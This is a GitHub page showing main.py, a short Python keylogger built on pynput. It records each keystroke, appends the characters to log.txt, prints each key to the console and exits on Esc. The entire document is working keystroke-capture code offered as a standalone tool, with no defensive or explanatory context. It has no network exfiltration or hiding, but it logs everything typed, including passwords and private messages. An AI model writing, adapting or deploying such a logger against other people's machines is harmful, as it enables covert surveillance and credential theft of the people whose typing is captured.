-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
37 lines (32 loc) · 999 Bytes
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import pynput
from pynput.keyboard import Key, Listener
#Count of keys in buffer before writing to log
count = 0
#List of keys pressed
keys = []
#Managing the event of on_press
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{0} pressed".format(key))
if count >= 1:
write_file(keys)
count = 0
keys = []
#Formatting the key name to be written from keys list
def write_file(keys):
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
#Maaging the event of on_release of key, pressing esc quits the program
def on_release(key):
if key == Key.esc:
return False
#Key press event listenner
with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()